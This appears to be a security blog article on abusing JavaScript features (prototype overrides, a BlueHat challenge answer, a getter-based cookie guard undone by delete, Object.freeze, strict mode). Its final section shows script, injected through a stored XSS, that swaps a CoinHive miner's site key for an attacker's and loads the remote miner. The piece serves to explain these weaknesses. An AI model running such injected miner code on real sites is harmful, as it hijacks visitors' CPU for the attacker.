Abusing The Wonder World of JavaScript

I participated JS event about JQuery’s source code in Istanbul a long time ago. In this activity, we have looked its source code together. Actually, when we looked at technologies like React, Vue, Angular which are used in this case, there are such things on the basis. (respect to FKA and Osman Yüksel)

Let's get back to the point. In this article, we will look at how we can cause security vulnerability using wrongly some of the features of JavaScript.

BlueHat Challenge - Prototype

First, I want to get into the topic of the prototype. After giving a few examples, we will explain a question from Microsoft BlueHat Challenge to better understand the subject matter.

To understand the prototypes, create a class called "foo" as follows:

var foo = {
  x: 10,
  y: 20
};

In the following example, we define the function "f" as a class. We then defined the "y" property helping with the prototype. We have created "o" object via "f" function. We take console output via "o.x" and "o.y" notation.

var f = function(a) { this.x = a }
f.prototype = {y : 1}
var o = new f (42)
console.log("o.x = " + o.x + ", o.y = " + o.y)

In another example that we have mentioned below, we see objects "A", "B", and "C". Using the object "B" and "C", we can access the calculate method in object "A". As you can see, object "A" is associated with object "B" and object "C", and we can obtain a prototype chain between these objects.

var a = {
  x: 10,
  calculate: function (z) {
    console.log(this.x + this.y + z);
  }
};

var b = {
  y: 20,
  __proto__: a
};

var c = {
  y: 30,
  __proto__: a
};


b.calculate(30); // 60
c.calculate(40); // 80

Now, we will use the prototype for crushing the some DOM elements. Below script, as you've seen is the Microsoft BlueHat Challenge. What should we write in between the comment lines for getting "HACKER" output with the alert pop-up?

<script>
/********** YOUR CODE SHOULD START BELOW THIS LINE **********/

/*********** YOUR CODE SHOULD END ABOVE THIS LINE ***********/
var goodJob = /!/._//!//
alert(goodJob); // We should see an alert saying "HACKED".
</script>

Let's start with the analysis:

We are opening JavaScript codes in the Sublime editor.

SublimeRegex
Figure - 1

I want to take your attention to the value of the variable of "goodJob". When we change the color of the Sublime comment lines, the part that left behind will be used for making the regex. Since we can use the "HACKED" statement together with the alert method, we need to crush the Regex expression with the prototype.

We have an statement like:

/!/._

Exclamation mark "!" is Regex. The "_" is separated by dot . Let's define a variable called x as Regex.

var x=new RegExp("!");

The final state is:

x._

If we include RegExp.prototype ._ =" HACKED"; in the comment lines, we will see the "HACKED" popup. Congratulations, we've passed this level.

defineGetter

The defineGetter method binds an object that can be called when an object is searched for a property.

In the following example I shared an example of a bad usage of Object.defineProperty.

<script>
    document.__defineGetter__('cookie', function(){
        alert('no cookie access!');
          return false;
    });
</script>

<script>
    delete document.cookie;
    alert(document.cookie)
</script>

It does not allow you to access the document.cookie property using defineGetter; but if you use delete with document.cookie you could access document.cookie again.

Protected Objects - Use Strict

We could get warnings because of our mistakes in the context of the code by dint of "Use Strict" usage. In this way, we can develop more secure JS code.

We use “use strict” in two ways:

Here's an example to share with you:

// Whole-script strict mode syntax
"use strict";
var v = "Hi!  I'm a strict mode script!";

// function-level
function strict(){
  // Function-level strict mode syntax
  'use strict';
  function nested() { return "And so am I!"; }
  return "Hi!  I'm a strict mode function!  " + nested();
}
function notStrict() { return "I'm not strict."; }

When using strict mode, we can not assign a global variable.

function foo() {
    "use strict";
    name=3; //Strict Mode will throw an error for implicit globals
}
foo()

When we call this function we will try to assign a global variable but because we use strict mode, we will get an error like the following.

ReferenceError: name is not defined

In another example, this will be undefined in strict mode, but in normal mode, it will be the global this.

<script>
    "use strict";
    function fun() { return this; }
    console.log(fun());
</script>

However, it is defined as a "global" object in a usage as follows. Despite the use of "use strict," does it provide code security in all cases?

function test() {
    'use strict';
    window.alert(this); // [Object Window]
}

test.call(window);
test.call(this);

Object.Freeze - Car Lock

We can freeze objects with the Object Freeze method. In this way, we are prevented from adding a new feature, deleting an existing feature, or editing its features.

I have defined the Point object in the below code fragment and tried to change the data.

var point = 
{ 
    x: 0, 
    y: 0 
};

Object.freeze(point); 
point.x = 7; 

Other Methods;
Object.preventExtensions(point); 
point.z = 0; 

Object.seal(point); 
delete point.x; 

Let's thinking an attack as follows. There is a thief who is trying to steal a Tesla car and wants to keep "Car._lock" value as "on" using Object.Freeze method

var Car = {
    _name: "Tesla",
    _lock: "on"
}

//attacker
Car._lock = "on";
console.log(Car._lock);
Object.freeze(Car);
//attacker

//victim
Car._lock = "off";
console.log(Car._lock);
//victim

You can get a real world example about this from the link below. https://conference.hitb.org/hitbsecconf2014ams/materials/D2T3-Using-Javascript-Security-Features-to-Kill-Itself.pdf

Javascript Overrides - Pokemon Wars

Let's join the Pokemon battle. Let's attention to the "attack" method. If the “power” value is not numeric, it gives an error. When the battle begins, Badcat can declare a bad value for the "_power" property. This situation is very worrying for software developers, isn't it?

function Pokemon() {
  this._power = 0;
}

Pokemon.prototype.attack= function(power) {
  if (typeof power == 'number' && power > 0) {
    this._power += power;
  } else {
    throw new Error('power only accepts positive numbers');
  }

  return this._power;
};

var pikachu = new Pokemon();
pikachu._power=10;
pikachu.attack(10);
console.log(pikachu._power);

var charmender = new Pokemon();
charmender._power=1;
charmender.attack(10);
console.log(charmender._power);   

var badcat = new Pokemon();
badcat._power =  "Hacked";
console.log(badcat._power); 
badcat.attack("test"); 

CoinHive JS Override with Stored XSS

CoinHive offers a JavaScript miner for the Monero Blockchain that you can embed in your website.

CoinHive is working with a JS file. Recently CoinHive used on many websites unannounced of the end user. When I analyzed the source code of CoinHive JS for a while, I noticed that the miner's "SiteKey" variable could be accessed by external source due to XSS vulnerability in malicious website.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous("attacker-key"); 
  miner.start();    
</script>

As you can see, we can start the miner by changing the Site-Key value.

What could we do if there was an XSS vulnerability on a website that uses CoinHive? Now we will intervene the case via modifying the Site-Key value in a place where the Coinhive.js file is running. To do this, we may need to find Stored-XSS on the website. We could modify that added later JS file as below.

  miner.stop();
    miner._siteKey="KEY";
    miner.start();

Related code snippet :

function(window) {
    "use strict";
    var Miner = function(siteKey, params) {
        this.params = params || {};
        this._siteKey = siteKey;
        ... 

Miner that the attacker has already run, change the siteKey after the stop with "miner.stop()" and start miner again. It will start after a while. You can now look at your CoinHive web panel and observe the changes and Also, you can see the miner's work in your CPU information.

Cpu
Figure - 2. Htop screen - 100% of user’s CPU time

References :

Special thanks to Zinnur Yeşilyurt and Mert Taşçı